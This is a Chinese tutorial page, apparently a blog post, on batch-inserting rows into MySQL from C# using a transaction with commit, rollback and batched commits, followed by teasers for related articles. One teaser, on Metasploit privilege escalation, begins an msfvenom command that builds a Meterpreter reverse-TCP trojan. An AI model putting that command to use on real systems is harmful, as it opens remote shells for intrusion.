现在对数据库(以MySql为例)的操作大多会封装成一个类,如下例所示:

namespace TESTDATABASE

{

public enum DBStatusCode { ALL_OK, MySqlExcuteErr }

public class TestDB

{

private string hostIp;

private string dbName;

private string dbUser;

private string dbPasswd;

private MySqlConnection dbConn;

public TestDB()

{

this.initConn();

}

~TestDB()

{

dbConn.Dispose();

}

void initConn()

{

dbName = "testDB";

hostIp = "127.0.0.1";

dbUser = "root";

dbPasswd = "root";

string connString; // Connection string。数据库连接字符串大全:http://www.connectionstrings.com/

connString = "SERVER=" + hostIp + ";" + "DATABASE=" +

dbName + ";" + "UID=" + dbUser + ";" + "PASSWORD=" + dbPasswd + ";";

dbConn = new MySqlConnection(connString);

}

// Open connection

public void openConn()

{

if (dbConn.State == ConnectionState.Closed)

dbConn.Open();

}

// Close connection

public void closeConn()

{

if (dbConn.State == ConnectionState.Open)

dbConn.Dispose();

}

// Insert

public DBStatusCode insertTest(ItermList itemList)

{

DBStatusCode flag = DBStatusCode.ALL_OK;

openConn();

string cmdText = "insert into testTable (c1, c2, c3, c4)"

+ "VALUES (@c1, @c2, @c3, @c4)";

MySqlCommand cmd = new MySqlCommand(cmdText, dbConn);

try

{

foreach (Item item in itemList)

{

cmd.Parameters.Clear(); // it is needed

cmd.Parameters.AddWithValue("@c1", item.c1);

cmd.Parameters.AddWithValue("@c2", item.c2);

cmd.Parameters.AddWithValue("@c3", item.c3);

cmd.Parameters.AddWithValue("@c4", item.c4);

cmd.ExecuteNonQuery();

}

}

catch (Exception ex)

{

flag = DBStatusCode.MySqlExcuteErr;

}

finally

{

cmd.Dispose();

}

closeConn();

return flag;

}

}

}

上边例子涉及到对MySql数据库的数据导入。可以看出(56~60),每循环一次,就会对数据库插入一次。当数据量比较小时,可能还看不出软件的卡顿现象;当数据量很大时,整个软件可能就会卡住几分钟了。所以,我们最好是当所有数据都准备好时,再一次性向数据库定入,以减少插入次数,以最终减少数据导入时间。而且,我们还想,在数据库插入失败的情况下还能够回滚。下边是改进的函数:

// Insert

public DBStatusCode insertTest(ItermList itemList)

{

DBStatusCode flag = DBStatusCode.ALL_OK;

openConn();

string cmdText = "insert into testTable (c1, c2, c3, c4)"

+ "VALUES (@c1, @c2, @c3, @c4)";

MySqlCommand cmd = new MySqlCommand(cmdText, dbConn);

MySqlTransaction tx = this.dbConn.BeginTransaction();

cmd.Transaction = tx;

try

{

foreach (Item item in itemList)

{

cmd.Parameters.Clear(); // it is needed

cmd.Parameters.AddWithValue("@c1", item.c1);

cmd.Parameters.AddWithValue("@c2", item.c2);

cmd.Parameters.AddWithValue("@c3", item.c3);

cmd.Parameters.AddWithValue("@c4", item.c4);

cmd.ExecuteNonQuery();

}

tx.Commit();

}

catch (Exception ex)

{

flag = DBStatusCode.MySqlExcuteErr;

tx.Rollback();

}

finally

{

cmd.Dispose();

}

closeConn();

return flag;

}

这里的改进可以说还只是初步的。当数据特别大时,这种方法就会出问题了。因为计算机要一次性把非常多的数据插入到数据库,有可能因为内存不足等原因而导致最终导入时间过长等。所以,在有一些情况下,我们还得分批提交(tx.Commit()),例如每1000个数据提交一次,这样就能够大大减轻计算机和数据库负担了。

关于MySql事务介绍资料:

关于批量插入数据,可参考的资源还有:

mysql批量数据导入探究

最近工作碰到一个问题,如何将大量数据(100MB+)导入到远程的mysql server上. 尝试1: Statement执行executeBatch的方法.每次导入1000条记录.时间为12s/10 ...

MySQL批量导入Excel数据

MySQL批量导入Excel数据 1.确定需要导入数据的表名称以及字段,然后在新建的Excel表中,按照表字段正确排序:(注:(Excel文件的名称最好和数据库的名称一致,sheet表的名字最好和表名 ...

MySQL批量导入Excel、txt数据

MySQL批量导入Excel.txt数据 我想Excel是当今最大众化的批量数据管理软件了吧,所以我们会经常涉及到将Excel中数据导入到MySQL中的工作.网上有一些关于直接将Excel导入MySQ ...

文件批量加密重命名--python脚本AND mysql命令行导入数据库

在考试中学生交上来的报告,需要进行一下文件名加密,这样阅卷老师就不知道是谁的报告了 在百度帮助下,完成了加密和解密脚本, 加密 #!/usr/bin/python # -*- coding: utf- ...

【转】MySQL批量SQL插入各种性能优化

原文:http://mp.weixin.qq.com/s?__biz=MzA5MzY4NTQwMA==&mid=403182899&idx=1&sn=74edf28b0bd29 ...

高并发简单解决方案————redis队列缓存+mysql 批量入库(ThinkPhP)

问题分析 问题一:要求日志最好入库:但是,直接入库mysql确实扛不住,批量入库没有问题,done.[批量入库和直接入库性能差异] 问题二:批量入库就需要有高并发的消息队列,决定采用redis lis ...

转载:【高并发简单解决方案 | 靠谱崔小拽 】redis队列缓存 + mysql 批量入库 + php离线整合

需求背景:有个调用统计日志存储和统计需求,要求存储到mysql中:存储数据高峰能达到日均千万,瓶颈在于直接入库并发太高,可能会把mysql干垮. 问题分析 思考:应用网站架构的衍化过程中,应用最新的框 ...

完美转换MySQL的字符集 Mysql 数据的导入导出,Mysql 4.1导入到4.0

MySQL从4.1版本开始才提出字符集的概念,所以对于MySQL4.0及其以下的版本,他们的字符集都是Latin1的,所以有时候需要对mysql的字符集进行一下转换,MySQL版本的升级.降级,特别是 ...

redis 队列缓存 + mysql 批量入库 + php 离线整合

问题分析 思考:应用网站架构的衍化过程中,应用最新的框架和工具技术固然是最优选择:但是,如果能在现有的框架的基础上提出简单可依赖的解决方案,未尝不是一种提升自我的尝试. 解决: 问题一:要求日志最好入 ...

随机推荐

java 多线程 4 线程池

系统启动一个新线程的成本是比较高的,因为它涉及到与操作系统的交互.在这种情况下,使用线程池可以很好的提供性能,尤其是当程序中需要创建大量生存期很短暂的线程时,更应该考虑使用线程池. 与数据库连接池类似 ...

Java之方法重载(笔记)

Java是根据参数类型和个数的不同实现重载. 1.当参数类型是基本类型,但不完全匹配. void test(int i) { } void test(float f) { } public stati ...

Guava缓存器源码分析——缓存统计器

Guava缓存器统计器实现: 全局统计器——         1.CacheBuilder的静态成员变量Supplier CACHE_STATS_COUNTER ...

Go 定时任务

本文基于Golang Crontab 实现了一个Crontab Job Manager.更加容易使用,同时也能够满足更加复杂的场景. 仓储地址, 如果有用,欢迎点赞,欢迎讨论,欢迎找茬. 需求 在开发 ...

Oracle设置某张表为只读

Oracle 11g开始支持设置某张表为只读,这样可以防范对某些表的修改,起到一定的安全性. 设置如下: --设置表为只读权限(加锁) ALTER TABLE tab_name READ ONLY ; ...

Msf提权步骤

1.生成反弹木马(脚本,执行程序) msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=&l ...

在ASP.NET MVC应用中开发插件框架(中英对照)

[原文] Developing a plugin framework in ASP.NET MVC with medium trust [译文] 在ASP.NET MVC应用中开发一个插件框架 I’v ...

jenkins设置CSRF 协议(CRUMB值设置)

在关闭“”调用出现Error 403 No valid crumb was included in the request 第一种解决方式是 关闭 csrf,如上图,去掉勾就可以,但是并不推荐. 第二 ...

VS Code .vue文件代码缩进以及格式化代码

首先在应用商店中搜索“Vetur”插件安装,然后进行下面操作: 文件->首选项->设置,然后在右边编辑框输入以下设置: { "prettier.tabWidth": 4 ...

c# mysql 批量导入_C#:MySql批量数量导入相关推荐

  1. c# mysql 汉字乱码_c#+mysql 中文乱码

    一.错误读出 现象:一个已经存在数据的MySQL数据库,该数据库的数据用系统中其它软件.网页查看均正常,使用MySQLcc之类的客户端查看也正常,可是在新写的网页中总是显示乱码. 分析:其它系统都可以 ...

  2. c#.net配置mysql数据库连接池_C#MySQL连接池

    我正在使用C#多线程应用程序并使用 MySQL与整个应用程序的单一连接.但是当两个或多个线程同时尝试访问数据库时,我得到以下错误: There is already an open DataReade ...

  3. mysql 三级联动_c#+Mysql 实现三级联动

    注明:此文章是转载而来,只是稍稍改了一点... 1.实现语言,c#,mysql,其中要引入mysq.dll 需要建立三个表----对应关系 2.Web.cofig 3.demo.cx文件: priva ...

  4. c mysql 异步查询_C#Mysql – 使用锁在数据库上查询异步等待服务器

    我有TcpListener类,我正在使用async / await阅读和写作. 对于这个服务器,我创建了单个数据库实例,我准备了所有的数据库查询. 但是对于更多的TcpClient,我会不断得到异常: ...

  5. tp5大数据批量导入mysql_TP5框架下MySQL通过LOAD DATA INFILE批量导入数据详细操作

    LOAD DATA INFILE 语句用法 参考手册 本文语句参数使用默认值 PHP: TP框架环境// 定义文件路径 $file_path = 'LOAD_DATA_LOCAL_INFILE.txt ...

  6. tp5 excel 导入 mysql_TP5框架下MySQL通过LOAD DATA INFILE批量导入数据详细操作

    LOAD DATA INFILE 语句用法 参考手册 本文语句参数使用默认值 PHP: TP框架环境// 定义文件路径 $file_path = 'LOAD_DATA_LOCAL_INFILE.txt ...

  7. python 数据导入mysql_用python批量向数据库(MySQL)中导入数据

    用python批量向数据库(MySQL)中导入数据 现有数十万条数据,如下的经过打乱处理过的数据进行导入 数据库内部的表格的数据格式如下与下面的表格结构相同Current database: pyth ...

  8. mysql循环load data_TP5框架下MySQL通过LOAD DATA INFILE批量导入数据详细操作

    LOAD DATA INFILE 语句用法 参考手册 本文语句参数使用默认值 PHP: TP框架环境// 定义文件路径 $file_path = 'LOAD_DATA_LOCAL_INFILE.txt ...

  9. .net excel导入mysql_.NET Core使用NPOI将Excel中的数据批量导入到MySQL - 追逐时光者 - 博客园...

    前言: 在之前的几篇博客中写过.NET Core使用NPOI导出Word和Excel的文章,今天把同样我们日常开发中比较常用的使用Excel导入数据到MySQL数据库中的文章给安排上.与此同时还把NP ...

最新文章

  1. 万能android调用webservice方法——参数类型不受限制
  2. Ajax处理函数模板
  3. linux中的网络体系结构
  4. python PIL.Image使用
  5. hadoop-集群管理(3)——不常用参数
  6. AI考拉技术分享会--Node.js APM 软件调研报告
  7. 《Linux内核修炼之道》——2.2 编译内核
  8. Cisco命令大全(清除配置和恢复口令)
  9. tkinter显示rtf文件
  10. java多重if 嵌套if_流程控制之if、多重if、嵌套
  11. 【2.5TB,磁盘自费】535亿余次HTTP请求,来自IUB的Click数据集
  12. linux 硬件故障 日志_对Linux中的硬件问题进行故障排除
  13. 将正式数据库中的表与测试库同步
  14. Qt(c++)调用python一直报错slot、hypot等
  15. selenium 程序执行完之后,闪退的解决方法
  16. Java之Scanner类用法
  17. AngularJS + RequireJS
  18. 知识图谱-生物信息学-医学顶刊论文(Bioinformatics-2021)-SumGNN:通过有效的KG聚集进行多类型DDI预测
  19. Android尺寸标注设计大全和Android切图规范
  20. CUDA学习资源整合

热门文章

  1. 游程编码压缩及解压缩
  2. 网络远程教育实施方案交流之(三)——服务器架构及视频存储方案
  3. Mysql:外码约束
  4. JAVA 利用多方法查找质数(素数)
  5. SpringBoot 统一功能处理
  6. java实用型:mybatis的好帮手-MybatisCodeHelperPro
  7. 寻找与疾病相关的SNP位点——R语言从SNPedia批量提取搜索数据
  8. px5 连接充电器是充电指示灯熄灭
  9. 初米 php,什么字帖练字好初中米字格a4设置
  10. 你知道什么是 Figma 吧